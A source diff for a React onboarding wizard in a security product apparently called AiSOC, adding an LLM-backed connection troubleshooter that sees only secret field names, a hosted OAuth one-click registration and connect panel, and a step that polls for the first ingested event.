- <span className="text-[10px] uppercase tracking-wider text-amber-300/80 bg-amber-500/10 border border-amber-500/20 rounded px-1.5 py-0.5">
- OAuth soon
+ <span className="text-[10px] uppercase tracking-wider text-emerald-300/90 bg-emerald-500/10 border border-emerald-500/30 rounded px-1.5 py-0.5">
+ OAuth one-click
</span>
)}
</div>
@@ -286,6 +399,523 @@ function CatalogGrid({
);
}
+// ─── AI troubleshooter panel ─────────────────────────────────────────────────
+
+/**
+ * Inline panel rendered below the Test connection button when a test fails.
+ *
+ * Calls the backend ``/api/v1/connectors/troubleshoot`` LLM endpoint with
+ * the connector type, the raw upstream error, and the names of the
+ * auth_config keys (never the values) so the model can reason about which
+ * credential is likely wrong without ever seeing a secret.
+ */
+function TroubleshootPanel({
+ connectorId,
+ testResult,
+ authConfigKeys,
+}: {
+ connectorId: string;
+ testResult: ConnectorTestResult;
+ authConfigKeys: string[];
+}) {
+ const [loading, setLoading] = useState(false);
+ const [advice, setAdvice] = useState<TroubleshootResponse | null>(null);
+ const [error, setError] = useState<string | null>(null);
+ // Reset advice whenever the upstream error text changes — a new failure
+ // should not show stale suggestions from a previous run.
+ const lastErrorRef = useRef<string | null>(null);
+ useEffect(() => {
+ const errKey = testResult.error ?? testResult.message ?? '';
+ if (lastErrorRef.current !== errKey) {
+ lastErrorRef.current = errKey;
+ setAdvice(null);
+ setError(null);
+ }
+ }, [testResult]);
+
+ const handleAsk = async () => {
+ setLoading(true);
+ setError(null);
+ setAdvice(null);
+ try {
+ const result = await connectorsApi.troubleshoot({
+ connector_type: connectorId,
+ error: testResult.error ?? testResult.message ?? 'Unknown error',
+ auth_config_keys: authConfigKeys,
+ });
+ setAdvice(result);
+ } catch (err) {
+ setError(err instanceof Error ? err.message : 'Failed to ask the troubleshooter');
+ } finally {
+ setLoading(false);
+ }
+ };
+
+ return (
+ <div className="rounded-lg border border-red-500/20 bg-red-500/5 p-4 mt-4 space-y-3">
+ <div className="flex items-start justify-between gap-3">
+ <div className="min-w-0">
+ <p className="text-xs font-semibold uppercase tracking-wider text-red-300">
+ Connection failed
+ </p>
+ <p className="text-xs text-red-200/80 mt-1 break-words">
+ {testResult.error ?? testResult.message ?? 'Unknown error'}
+ </p>
+ </div>
+ {!advice && !loading && (
+ <button
+ type="button"
+ onClick={handleAsk}
+ className="text-xs whitespace-nowrap bg-red-500/20 hover:bg-red-500/30 text-red-100 border border-red-500/30 px-3 py-1.5 rounded-md transition-colors"
+ >
+ Ask AI to fix
+ </button>
+ )}
+ </div>
+
+ {loading && (
+ <div className="flex items-center gap-2 text-xs text-red-200">
+ <span className="animate-spin w-3.5 h-3.5 border-2 border-red-300 border-t-transparent rounded-full" />
+ Diagnosing failure…
+ </div>
+ )}
+
+ {error && (
+ <p className="text-xs text-red-200/80">
+ Troubleshooter unavailable: {error}
+ </p>
+ )}
+
+ {advice && (
+ <div className="space-y-2">
+ <div>
+ <p className="text-[11px] uppercase tracking-wider text-gray-400 font-semibold mb-1">
+ Likely cause
+ </p>
+ <p className="text-xs text-gray-200">{advice.likely_cause}</p>
+ </div>
+ <div>
+ <p className="text-[11px] uppercase tracking-wider text-gray-400 font-semibold mb-1">
+ Try this
+ </p>
+ <ol className="list-decimal list-inside space-y-1 text-xs text-gray-200 marker:text-gray-500">
+ {advice.fix_steps.map((step, idx) => (
+ <li key={idx}>{step}</li>
+ ))}
+ </ol>
+ </div>
+ {advice.doc_link && (
+ <a
+ href={advice.doc_link}
+ target="_blank"
+ rel="noreferrer"
+ className="inline-block text-xs text-blue-400 hover:text-blue-300 underline-offset-2 hover:underline"
+ >
+ Open setup guide →
+ </a>
+ )}
+ </div>
+ )}
+ </div>
+ );
+}
+
+// ─── Hosted OAuth panel ──────────────────────────────────────────────────────
+
+/**
+ * Hosted OAuth one-click panel, rendered above the manual fields whenever
+ * the selected connector advertises ``oauth.supported_in_hosted=true`` in
+ * its catalog entry.
+ *
+ * Three runtime states:
+ *
+ * 1. **Loading** — we're fetching ``GET /oauth/app/{type}`` to find out
+ * whether the tenant has already registered an OAuth client.
+ *
+ * 2. **Unregistered (404)** — the tenant has *not* registered a client
+ * yet. We render an inline form so an admin can paste their
+ * ``client_id`` + ``client_secret`` (and override authorize/token URLs
+ * and scopes if the schema's defaults aren't right). Submission hits
+ * ``PUT /oauth/app/{type}`` which encrypts the secret in the vault.
+ *
+ * 3. **Registered** — render a single "Connect with X (one-click)"
+ * button. Clicking it calls ``GET /oauth/start?response_mode=json``
+ * (authenticated XHR — we *can't* use a plain ``window.location``
+ * navigation because it would drop the JWT) and then bounces the
+ * browser to the resulting ``authorize_url``. The IdP redirects back
+ * to ``/api/v1/oauth/callback`` which writes the connector row and
+ * 302s the operator to ``/onboarding?oauth_success=1`` —
+ * :func:`OnboardingView` reads those query params and surfaces a
+ * toast.
+ *
+ * We *also* keep the manual credential fields rendered (collapsed under a
+ * disclosure) so an operator who can't get OAuth working still has a
+ * fallback path. This is the same defense-in-depth approach the connector
+ * schema uses by always listing field defaults even when OAuthHints is
+ * present.
+ */
+function OAuthPanel({
+ entry,
+ instanceName,
+}: {
+ entry: ConnectorCatalogEntry;
+ instanceName: string;
+}) {
+ const [appView, setAppView] = useState<OAuthAppView | null>(null);
+ const [loadingApp, setLoadingApp] = useState(true);
+ const [appLoadError, setAppLoadError] = useState<string | null>(null);
+ // When the tenant clicks "Edit credentials" we expand a registration form
+ // even if an app is already registered, so they can rotate the secret.
+ const [showRegisterForm, setShowRegisterForm] = useState(false);
+ const [connecting, setConnecting] = useState(false);
+
+ // `entry.oauth` is already `ConnectorOAuthHints | undefined`; the
+ // `OAuthAppRegisterForm` accepts the same type for `schemaHints`, so we
+ // pass it through directly. Don't coerce to `null` — the prop's union
+ // is `undefined`, not `null`.
+ const hints = entry.oauth;
+
+ // Reset state whenever the operator picks a different connector class —
+ // otherwise stale "registered ✓" badges leak across connectors.
+ useEffect(() => {
+ let cancelled = false;
+ setLoadingApp(true);
+ setAppLoadError(null);
+ setAppView(null);
+ setShowRegisterForm(false);
+
+ oauthApi
+ .getApp(entry.connector_id)
+ .then((view) => {
+ if (cancelled) return;
+ setAppView(view);
+ })
+ .catch((err) => {
+ if (cancelled) return;
+ // 404 is the "no OAuth app registered yet" path — that's the
+ // expected first-time state, not an error worth surfacing.
+ if (err instanceof ApiError && err.status === 404) {
+ setAppView(null);
+ // Auto-expand the register form when nothing is registered yet
+ // so the operator's next action (paste credentials) is one
+ // click away instead of two.
+ setShowRegisterForm(true);
+ } else {
+ setAppLoadError(err instanceof Error ? err.message : 'Failed to load OAuth app');
+ }
+ })
+ .finally(() => {
+ if (!cancelled) setLoadingApp(false);
+ });
+
+ return () => {
+ cancelled = true;
+ };
+ }, [entry.connector_id]);
+
+ const handleConnect = async () => {
+ if (connecting) return;
+ setConnecting(true);
+ try {
+ // We MUST use the authenticated JSON variant — a raw 302 redirect
+ // from the browser would drop the Bearer token and the start
+ // endpoint would 401.
+ const startResp = await oauthApi.startJson({
+ connectorType: entry.connector_id,
+ returnTo: '/onboarding',
+ name: instanceName.trim() || entry.connector_name,
+ });
+ // Now navigate the *browser* to the IdP. The IdP's eventual
+ // redirect will land at /api/v1/oauth/callback which is the only
+ // OAuth endpoint that runs unauthenticated (state nonce is the
+ // CSRF gate).
+ window.location.href = startResp.authorize_url;
+ } catch (err) {
+ const msg = err instanceof Error ? err.message : 'Failed to start OAuth flow';
+ toast.error(msg);
+ setConnecting(false);
+ }
+ };
+
+ const refresh = async () => {
+ try {
+ const view = await oauthApi.getApp(entry.connector_id);
+ setAppView(view);
+ } catch (err) {
+ if (err instanceof ApiError && err.status === 404) {
+ setAppView(null);
+ }
+ }
+ };
+
+ return (
+ <div className="rounded-xl border border-emerald-500/30 bg-emerald-500/5 p-4 space-y-3">
+ <div className="flex items-start justify-between gap-3">
+ <div className="min-w-0">
+ <p className="text-[11px] uppercase tracking-wider text-emerald-300/90 font-semibold">
+ One-click OAuth
+ </p>
+ <p className="text-sm text-gray-100 mt-1">
+ Connect with {entry.connector_name} via OAuth
+ </p>
+ <p className="text-xs text-gray-400 mt-1 leading-relaxed">
+ Recommended. We&apos;ll redirect you to {entry.connector_name} to grant access, then
+ store the rotated tokens in the AiSOC vault. No long-lived secrets to paste.
+ </p>
+ </div>
+ {appView && !showRegisterForm && (
+ <span
+ className="shrink-0 inline-flex items-center text-[10px] uppercase tracking-wider text-emerald-200 bg-emerald-500/10 border border-emerald-500/30 px-2 py-0.5 rounded"
+ title={`OAuth app last updated ${new Date(appView.updated_at).toLocaleString()}`}
+ >
+ App registered
+ </span>
+ )}
+ </div>
+
+ {loadingApp ? (
+ <div className="flex items-center gap-2 text-xs text-gray-400">
+ <span className="animate-spin w-3.5 h-3.5 border-2 border-gray-500 border-t-transparent rounded-full" />
+ Checking OAuth registration…
+ </div>
+ ) : appLoadError ? (
+ <p className="text-xs text-amber-200">
+ Couldn&apos;t check OAuth registration: {appLoadError}
+ </p>
+ ) : appView && !showRegisterForm ? (
+ // ─── Registered: render the connect button ────────────────────────
+ <div className="space-y-2">
+ <div className="flex flex-wrap items-center gap-2">
+ <button
+ type="button"
+ onClick={handleConnect}
+ disabled={connecting}
+ className="text-sm bg-emerald-500/90 hover:bg-emerald-400 text-white px-4 py-2 rounded-lg transition-colors disabled:opacity-60 flex items-center gap-2"
+ >
+ {connecting && (
+ <span className="animate-spin w-3.5 h-3.5 border-2 border-white border-t-transparent rounded-full" />
+ )}
+ Connect with {entry.connector_name}
+ </button>
+ <button
+ type="button"
+ onClick={() => setShowRegisterForm(true)}
+ className="text-xs text-gray-400 hover:text-gray-200 px-2 py-1 transition-colors"
+ >
+ Rotate client credentials
+ </button>
+ </div>
+ <p className="text-[11px] text-gray-500 font-mono break-all">
+ client_id: {appView.client_id}
+ </p>
+ </div>
+ ) : (
+ // ─── Unregistered (or rotating): render the registration form ────
+ <OAuthAppRegistrationForm
+ entry={entry}
+ existing={appView}
+ onSaved={async () => {
+ await refresh();
+ setShowRegisterForm(false);
+ }}
+ onCancel={
+ appView
+ ? () => setShowRegisterForm(false)
+ : undefined
+ }
+ schemaHints={hints}
+ />
+ )}
+ </div>
+ );
+}
+
+/**
+ * Inline form for registering or rotating a tenant's OAuth client.
+ *
+ * The schema's :class:`OAuthHints` already declares default authorize and
+ * token URLs plus the scope set we recommend, so we pre-fill those — the
+ * operator only *has* to provide ``client_id`` and ``client_secret``. Any
+ * non-defaults they paste become per-tenant overrides on the
+ * ``oauth_app_credentials`` row.
+ */
+function OAuthAppRegistrationForm({
+ entry,
+ existing,
+ schemaHints,
+ onSaved,
+ onCancel,
+}: {
+ entry: ConnectorCatalogEntry;
+ existing: OAuthAppView | null;
+ schemaHints: ConnectorCatalogEntry['oauth'];
+ onSaved: () => Promise<void> | void;
+ onCancel?: () => void;
+}) {
+ const [clientId, setClientId] = useState(existing?.client_id ?? '');
+ const [clientSecret, setClientSecret] = useState('');
+ const [authorizeUrl, setAuthorizeUrl] = useState(
+ existing?.authorize_url ?? schemaHints?.authorize_url ?? '',
+ );
+ const [tokenUrl, setTokenUrl] = useState(
+ existing?.token_url ?? schemaHints?.token_url ?? '',
+ );
+ const [scopesText, setScopesText] = useState(
+ (existing?.scopes ?? schemaHints?.scopes ?? []).join(' '),
+ );
+ const [saving, setSaving] = useState(false);
+
+ const handleSubmit = async (e: React.FormEvent) => {
+ e.preventDefault();
+ if (!clientId.trim() || !clientSecret.trim()) {
+ toast.error('Client ID and Client Secret are required');
+ return;
+ }
+ setSaving(true);
+ try {
+ const scopes = scopesText
+ .split(/[\s,]+/)
+ .map((s) => s.trim())
+ .filter(Boolean);
+ await oauthApi.upsertApp(entry.connector_id, {
+ client_id: clientId.trim(),
+ client_secret: clientSecret,
+ authorize_url: authorizeUrl.trim() || null,
+ token_url: tokenUrl.trim() || null,
+ scopes: scopes.length > 0 ? scopes : null,
+ });
+ // Wipe the secret out of React state immediately — no reason to keep
+ // it around once the vault has it. The next render of this form will
+ // get a blank secret box, which is the right UX for "registered".
+ setClientSecret('');
+ toast.success('OAuth app registered');
+ await onSaved();
+ } catch (err) {
+ const msg = err instanceof Error ? err.message : 'Failed to register OAuth app';
+ toast.error(msg);
+ } finally {
+ setSaving(false);
+ }
+ };
+
+ const fieldClass =
+ 'w-full bg-gray-950/60 border border-gray-800 rounded-lg px-3 py-2 text-xs text-gray-100 placeholder-gray-600 focus:outline-none focus:border-emerald-500/60 focus:ring-1 focus:ring-emerald-500/30 transition-colors';
+
+ return (
+ <form onSubmit={handleSubmit} className="space-y-3 pt-1">
+ <p className="text-xs text-gray-400 leading-relaxed">
+ First time connecting? Register your OAuth app in {entry.connector_name} (using the
+ redirect URI shown in the docs), then paste the client credentials below.
+ </p>
+ <div className="grid grid-cols-1 sm:grid-cols-2 gap-3">
+ <div>
+ <label className="block text-[11px] font-semibold text-gray-300 mb-1">
+ Client ID <span className="text-red-400">*</span>
+ </label>
+ <input
+ type="text"
+ value={clientId}
+ onChange={(e) => setClientId(e.target.value)}
+ placeholder="client_xxxxxxxx"
+ className={clsx(fieldClass, 'font-mono')}
+ required
+ autoComplete="off"
+ />
+ </div>
+ <div>
+ <label className="block text-[11px] font-semibold text-gray-300 mb-1">
+ Client Secret <span className="text-red-400">*</span>
+ </label>
+ <input
+ type="password"
+ value={clientSecret}
+ onChange={(e) => setClientSecret(e.target.value)}
+ placeholder={existing ? 'Re-enter to rotate' : '••••••••'}
+ className={clsx(fieldClass, 'font-mono')}
+ required
+ autoComplete="new-password"
+ />
+ </div>
+ </div>
+
+ <details className="group">
+ <summary className="cursor-pointer text-[11px] text-gray-500 hover:text-gray-300 select-none">
+ Override authorize URL, token URL, or scopes
+ </summary>
+ <div className="mt-3 space-y-3">
+ <div>
+ <label className="block text-[11px] font-semibold text-gray-300 mb-1">
+ Authorize URL
+ </label>
+ <input
+ type="url"
+ value={authorizeUrl}
+ onChange={(e) => setAuthorizeUrl(e.target.value)}
+ placeholder={schemaHints?.authorize_url ?? 'https://provider.example.com/oauth/authorize'}
+ className={fieldClass}
+ autoComplete="off"
+ />
+ </div>
+ <div>
+ <label className="block text-[11px] font-semibold text-gray-300 mb-1">
+ Token URL
+ </label>
+ <input
+ type="url"
+ value={tokenUrl}
+ onChange={(e) => setTokenUrl(e.target.value)}
+ placeholder={schemaHints?.token_url ?? 'https://provider.example.com/oauth/token'}
+ className={fieldClass}
+ autoComplete="off"
+ />
+ </div>
+ <div>
+ <label className="block text-[11px] font-semibold text-gray-300 mb-1">
+ Scopes (space- or comma-separated)
+ </label>
+ <input
+ type="text"
+ value={scopesText}
+ onChange={(e) => setScopesText(e.target.value)}
+ placeholder={(schemaHints?.scopes ?? []).join(' ') || 'openid profile email'}
+ className={fieldClass}
+ autoComplete="off"
+ />
+ {schemaHints?.scopes && schemaHints.scopes.length > 0 && (
+ <p className="mt-1 text-[10px] text-gray-600 font-mono">
+ Schema default: {schemaHints.scopes.join(' ')}
+ </p>
+ )}
+ </div>
+ </div>
+ </details>
+
+ <div className="flex items-center gap-2">
+ <button
+ type="submit"
+ disabled={saving}
+ className="text-xs bg-emerald-600 hover:bg-emerald-500 text-white px-3 py-2 rounded-lg transition-colors disabled:opacity-60 flex items-center gap-2"
+ >
+ {saving && (
+ <span className="animate-spin w-3 h-3 border-2 border-white border-t-transparent rounded-full" />
+ )}
+ {existing ? 'Update OAuth app' : 'Register OAuth app'}
+ </button>
+ {onCancel && (
+ <button
+ type="button"
+ onClick={onCancel}
+ disabled={saving}
+ className="text-xs text-gray-400 hover:text-gray-200 px-2 py-2 transition-colors disabled:opacity-50"
+ >
+ Cancel
+ </button>
+ )}
+ </div>
+ </form>
+ );
+}
+
// ─── Config step ─────────────────────────────────────────────────────────────
interface ConfigStepProps {
@@ -294,6 +924,8 @@ interface ConfigStepProps {
setValues: (next: Record<string, string | number | boolean>) => void;
instanceName: string;
setInstanceName: (next: string) => void;
+ /** Last test result, so we can render the AI troubleshooter inline. */
+ testResult: ConnectorTestResult | null;
}
function ConfigStep({
@@ -302,11 +934,24 @@ function ConfigStep({
setValues,
instanceName,
setInstanceName,
+ testResult,
}: ConfigStepProps) {
const updateField = (name: string, next: string | number | boolean) => {
setValues({ ...values, [name]: next });
};
+ // Names of secret-typed fields, passed to the troubleshooter so the LLM
+ // can reason about credential shape without ever seeing the values.
+ const authConfigKeys = useMemo(
+ () => entry.fields.filter((f) => f.type === 'secret').map((f) => f.name),
+ [entry.fields],
+ );
+
+ // True when the schema advertises hosted OAuth — drives whether we render
+ // the OAuth panel and whether the manual fields collapse under a
+ // disclosure (recommended path: OAuth; fallback: paste secrets).
+ const supportsHostedOAuth = Boolean(entry.oauth?.supported_in_hosted);
+
return (
<div className="space-y-5">
{/* Friendly label for this instance — separate from the catalog name
@@ -330,18 +975,55 @@ function ConfigStep({
</p>
</div>
- {entry.fields.map((f) => (
- <div key={f.name}>
- <label className="block text-xs font-semibold text-gray-300 mb-1">
- {f.label}
- {f.required && <span className="text-red-400 ml-0.5">*</span>}
- </label>
- <FieldInput field={f} value={values[f.name]} onChange={(v) => updateField(f.name, v)} />
- {f.help_text && (
- <p className="mt-1 text-xs text-gray-500 leading-relaxed">{f.help_text}</p>
- )}
- </div>
- ))}
+ {/* OAuth one-click panel — only renders for connectors that opted in
+ via OAuthHints.supported_in_hosted=true. The panel handles its own
+ state (registered vs unregistered, rotating credentials) and
+ triggers a browser-level redirect on success. */}
+ {supportsHostedOAuth && (
+ <OAuthPanel entry={entry} instanceName={instanceName} />
+ )}
+
+ {/* Manual fields. For hosted-OAuth connectors we collapse these under
+ a disclosure since OAuth is the recommended path; for everyone
+ else they're rendered inline as before. */}
+ {supportsHostedOAuth ? (
+ <details className="group rounded-lg border border-gray-800/80 bg-gray-900/30">
+ <summary className="cursor-pointer select-none px-4 py-3 text-xs font-semibold text-gray-400 hover:text-gray-200 transition-colors">
+ Or use static credentials instead
+ </summary>
+ <div className="px-4 pb-4 pt-1 space-y-5">
+ {entry.fields.map((f) => (
+ <div key={f.name}>
+ <label className="block text-xs font-semibold text-gray-300 mb-1">
+ {f.label}
+ {f.required && <span className="text-red-400 ml-0.5">*</span>}
+ </label>
+ <FieldInput
+ field={f}
+ value={values[f.name]}
+ onChange={(v) => updateField(f.name, v)}
+ />
+ {f.help_text && (
+ <p className="mt-1 text-xs text-gray-500 leading-relaxed">{f.help_text}</p>
+ )}
+ </div>
+ ))}
+ </div>
+ </details>
+ ) : (
+ entry.fields.map((f) => (
+ <div key={f.name}>
+ <label className="block text-xs font-semibold text-gray-300 mb-1">
+ {f.label}
+ {f.required && <span className="text-red-400 ml-0.5">*</span>}
+ </label>
+ <FieldInput field={f} value={values[f.name]} onChange={(v) => updateField(f.name, v)} />
+ {f.help_text && (
+ <p className="mt-1 text-xs text-gray-500 leading-relaxed">{f.help_text}</p>
+ )}
+ </div>
+ ))
+ )}
{entry.docs_url && (
<p className="text-xs text-gray-500">
@@ -356,6 +1038,195 @@ function ConfigStep({
</a>
</p>
)}
+
+ {/* AI troubleshooter — only renders when the last test failed. We
+ keep this inside ConfigStep (not the modal footer) so the panel
+ scrolls with the form fields the operator probably needs to fix. */}
+ {testResult && !testResult.success && (
+ <TroubleshootPanel
+ connectorId={entry.connector_id}
+ testResult={testResult}
+ authConfigKeys={authConfigKeys}
+ />
+ )}
+ </div>
+ );
+}
+
+// ─── Verify-data-flowing step ────────────────────────────────────────────────
+
+/**
+ * Final wizard screen — operator just saved a connector, now we wait for
+ * the first event to land.
+ *
+ * Polls ``GET /api/v1/connectors/{id}/last_event_at`` every 5s for up to
+ * five minutes. The poll is naturally bounded by the modal closing, so we
+ * also stop polling once an event arrives.
+ *
+ * For first-time operators this screen is the moment of truth — it's the
+ * difference between "I configured something" and "data is actually
+ * flowing into AiSOC". Without it the wizard ends ambiguously and folks
+ * tend to wander off to read docs instead of waiting.
+ */
+function VerifyStep({
+ connector,
+ onDone,
+}: {
+ connector: Connector;
+ onDone: () => void;
+}) {
+ const [lastEvent, setLastEvent] = useState<ConnectorLastEvent | null>(null);
+ const [pollError, setPollError] = useState<string | null>(null);
+ const [elapsed, setElapsed] = useState(0);
+ // Hard cap on polling — five minutes is generous enough for batch-poll
+ // connectors (5min default cadence) but stops us hammering the API
+ // forever if the connector never fires.
+ const MAX_ELAPSED_SEC = 5 * 60;
+
+ useEffect(() => {
+ let cancelled = false;
+ let tickTimer: ReturnType<typeof setInterval> | null = null;
+ let pollTimer: ReturnType<typeof setInterval> | null = null;
+
+ const poll = async () => {
+ try {
+ const res = await connectorsApi.lastEvent(connector.id);
+ if (cancelled) return;
+ setPollError(null);
+ if (res.last_event_at) {
+ setLastEvent(res);
+ // Stop both timers — we're done. The user can dismiss whenever
+ // they're ready.
+ if (pollTimer) clearInterval(pollTimer);
+ if (tickTimer) clearInterval(tickTimer);
+ }
+ } catch (err) {
+ if (cancelled) return;
+ setPollError(err instanceof Error ? err.message : 'Polling failed');
+ }
+ };
+
+ void poll();
+ pollTimer = setInterval(poll, 5000);
+ tickTimer = setInterval(() => {
+ setElapsed((e) => {
+ const next = e + 1;
+ if (next >= MAX_ELAPSED_SEC) {
+ if (pollTimer) clearInterval(pollTimer);
+ if (tickTimer) clearInterval(tickTimer);
+ }
+ return next;
+ });
+ }, 1000);
+
+ return () => {
+ cancelled = true;
+ if (pollTimer) clearInterval(pollTimer);
+ if (tickTimer) clearInterval(tickTimer);
+ };
+ }, [connector.id]);
+
+ const arrived = Boolean(lastEvent?.last_event_at);
+ const timedOut = !arrived && elapsed >= MAX_ELAPSED_SEC;
+
+ return (
+ <div className="space-y-5">
+ <div className="rounded-lg border border-gray-800/80 bg-gray-900/40 p-5">
+ <div className="flex items-start gap-4">
+ {arrived ? (
+ <div className="flex-shrink-0 w-10 h-10 rounded-full bg-green-500/15 border border-green-500/30 flex items-center justify-center">
+ <svg className="w-5 h-5 text-green-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M5 13l4 4L19 7" />
+ </svg>
+ </div>
+ ) : timedOut ? (
+ <div className="flex-shrink-0 w-10 h-10 rounded-full bg-amber-500/15 border border-amber-500/30 flex items-center justify-center">
+ <svg className="w-5 h-5 text-amber-400" fill="none" viewBox="0 0 24 24" stroke="currentColor">
+ <path strokeLinecap="round" strokeLinejoin="round" strokeWidth={2} d="M12 8v4m0 4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z" />
+ </svg>
+ </div>
+ ) : (
+ <div className="flex-shrink-0 w-10 h-10 rounded-full bg-blue-500/15 border border-blue-500/30 flex items-center justify-center">
+ <span className="animate-spin w-4 h-4 border-2 border-blue-400 border-t-transparent rounded-full" />
+ </div>
+ )}
+ <div className="min-w-0 flex-1">
+ <h3 className="text-sm font-semibold text-gray-100">
+ {arrived
+ ? 'Data is flowing'
+ : timedOut
+ ? 'No data yet'
+ : 'Waiting for first event…'}
+ </h3>
+ <p className="text-xs text-gray-400 mt-1 leading-relaxed">
+ {arrived ? (
+ <>
+ AiSOC received the first event from{' '}
+ <span className="text-gray-200">{connector.name}</span>. The connector is
+ healthy and on its normal poll cadence.
+ </>
+ ) : timedOut ? (
+ <>
+ We didn&apos;t see any events from{' '}
+ <span className="text-gray-200">{connector.name}</span> in five minutes.
+ This is normal for low-volume sources, but if you expect activity, check the
+ connector&apos;s Health tab for poll errors.
+ </>
+ ) : (
+ <>
+ AiSOC is polling <span className="text-gray-200">{connector.name}</span> on
+ its configured cadence. The first batch usually lands within a minute or two.
+ </>
+ )}
+ </p>
+
+ {arrived && lastEvent?.last_event_at && (
+ <dl className="mt-3 grid grid-cols-[auto_1fr] gap-x-4 gap-y-1 text-xs">
+ <dt className="text-gray-500">First event</dt>
+ <dd className="text-gray-200 font-mono">
+ {new Date(lastEvent.last_event_at).toLocaleString()}
+ </dd>
+ {lastEvent.last_event_kind && (
+ <>
+ <dt className="text-gray-500">Kind</dt>
+ <dd className="text-gray-200 font-mono">{lastEvent.last_event_kind}</dd>
+ </>
+ )}
+ </dl>
+ )}
+
+ {!arrived && !timedOut && (
+ <p className="mt-3 text-xs text-gray-600 font-mono">
+ {Math.floor(elapsed / 60)}:{String(elapsed % 60).padStart(2, '0')} elapsed
+ </p>
+ )}
+
+ {pollError && (
+ <p className="mt-2 text-xs text-red-400">Polling error: {pollError}</p>
+ )}
+ </div>
+ </div>
+ </div>
+
+ <div className="text-xs text-gray-500 leading-relaxed">
+ You can close this dialog at any time — verification keeps running in the background.
+ Health and freshness for this connector live on its detail page.
+ </div>
+
+ <div className="flex justify-end">
+ <button
+ type="button"
+ onClick={onDone}
+ className={clsx(
+ 'text-sm px-4 py-2 rounded-lg transition-colors',
+ arrived
+ ? 'bg-blue-600 hover:bg-blue-500 text-white'
+ : 'bg-gray-800 hover:bg-gray-700 text-gray-200',
+ )}
+ >
+ {arrived ? 'Done' : 'Close — keep waiting in background'}
+ </button>
+ </div>
</div>
);
}
@@ -367,14 +1238,38 @@ interface AddConnectorModalProps {
onClose: () => void;
/** Called after a connector is created so the parent can refresh its list. */
onCreated?: (connector: Connector) => void;
+ /**
+ * If set, the picker will auto-advance to the configure step for this
+ * connector class once the catalog finishes loading. The /onboarding
+ * "Most teams pick" tiles use this to drop the operator straight onto
+ * the configure form for the vendor they clicked.
+ */
+ primedConnectorId?: string | null;
+ /**
+ * If set, the picker pre-filters the catalog grid to a single category
+ * (e.g. "edr"). Used by /onboarding category pills so an operator who
+ * clicked "Endpoint" only sees endpoint connectors.
+ */
+ activeCategory?: string | null;
}
-type WizardStep = 'pick' | 'configure';
+type WizardStep = 'pick' | 'configure' | 'verify';
-export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModalProps) {
+export function AddConnectorModal({
+ open,
+ onClose,
+ onCreated,
+ primedConnectorId,
+ activeCategory,
+}: AddConnectorModalProps) {
const [step, setStep] = useState<WizardStep>('pick');
const [catalog, setCatalog] = useState<ConnectorCatalogEntry[] | null>(null);
const [catalogError, setCatalogError] = useState<string | null>(null);
+ // Free-text filter for the catalog grid.
+ const [query, setQuery] = useState<string>('');
+ // Sticky category filter — initialized from the activeCategory prop and
+ // tweakable via a "clear" affordance once the modal is open.
+ const [categoryFilter, setCategoryFilter] = useState<string | null>(null);
const [selected, setSelected] = useState<ConnectorCatalogEntry | null>(null);
const [values, setValues] = useState<Record<string, string | number | boolean>>({});
@@ -383,6 +1278,9 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
const [testing, setTesting] = useState(false);
const [testResult, setTestResult] = useState<ConnectorTestResult | null>(null);
const [saving, setSaving] = useState(false);
+ // Connector instance returned by the create call — used by the verify
+ // step to poll for the first event.
+ const [createdConnector, setCreatedConnector] = useState<Connector | null>(null);
// Load catalog whenever the modal opens. We don't keep stale data around
// between opens because the operator may have added a new connector class
@@ -397,12 +1295,33 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
setValues({});
setInstanceName('');
setTestResult(null);
+ setQuery('');
+ // Snapshot the category prop at open time. Subsequent prop changes
+ // shouldn't yank the operator's filter out from under them mid-flow.
+ setCategoryFilter(activeCategory ?? null);
+ setCreatedConnector(null);
connectorsApi
.catalog()
.then((res) => {
if (cancelled) return;
setCatalog(res.connectors);
+
+ // Auto-advance to configure for the primed connector, if any. We
+ // do this here (after catalog loads) rather than in render so that
+ // the catalog state, selected entry, and form values all settle
+ // in the right order. If the primed id isn't in the catalog (e.g.
+ // a stale curated list pointed at a connector we removed), we
+ // silently fall back to the picker.
+ if (primedConnectorId) {
+ const entry = res.connectors.find((e) => e.connector_id === primedConnectorId);
+ if (entry) {
+ setSelected(entry);
+ setValues(buildInitialValues(entry.fields));
+ setInstanceName(entry.connector_name);
+ setStep('configure');
+ }
+ }
})
.catch((err: unknown) => {
if (cancelled) return;
@@ -413,11 +1332,16 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
return () => {
cancelled = true;
};
+ // We intentionally only re-run when the modal toggles open. The primed
+ // id and category props are read at open-time; changing them mid-flow
+ // would discard the operator's typed credentials.
+ // eslint-disable-next-line react-hooks/exhaustive-deps
}, [open]);
// Close on Escape — but only when we're on the picker. On the config
- // screen, prefer the explicit Cancel button so a misclick doesn't lose
- // the operator's typed credentials.
+ // and verify screens, prefer the explicit Cancel/Done buttons so a
+ // misclick doesn't lose the operator's typed credentials or interrupt
+ // first-event polling.
useEffect(() => {
if (!open) return;
const onKey = (e: KeyboardEvent) => {
@@ -486,8 +1410,14 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
connector_config,
});
toast.success(`Connected ${created.name}`);
+ // Notify parent immediately so the connectors list refreshes in the
+ // background while the operator watches for the first event. We don't
+ // close the modal here — the verify step is the third leg of the
+ // wizard and is what gives a first-time operator confidence the
+ // connector actually works end-to-end.
onCreated?.(created);
- onClose();
+ setCreatedConnector(created);
+ setStep('verify');
} catch (err) {
const msg = err instanceof Error ? err.message : 'Failed to save connector';
toast.error(msg);
@@ -496,6 +1426,13 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
}
};
+ const handleDoneVerify = () => {
+ // Verify step is purely informational — the actual connector is already
+ // saved and the parent has been told about it. Closing is the same as
+ // dismissing the dialog from the picker.
+ onClose();
+ };
+
return (
<AnimatePresence>
{open && (
@@ -528,17 +1465,23 @@ export function AddConnectorModal({ open, onClose, onCreated }: AddConnectorModa
>
{/* Header */}
<div className="flex items-start justify-between gap-4 px-6 py-4 border-b border-gray-800">
- <div>
+ <div className="min-w-0">
<h2
id="add-connector-title"
className="text-base font-semibold text-gray-100"
>
- {step === 'pick' ? 'Add connector' : `Configure ${selected?.connector_name ?? ''}`}
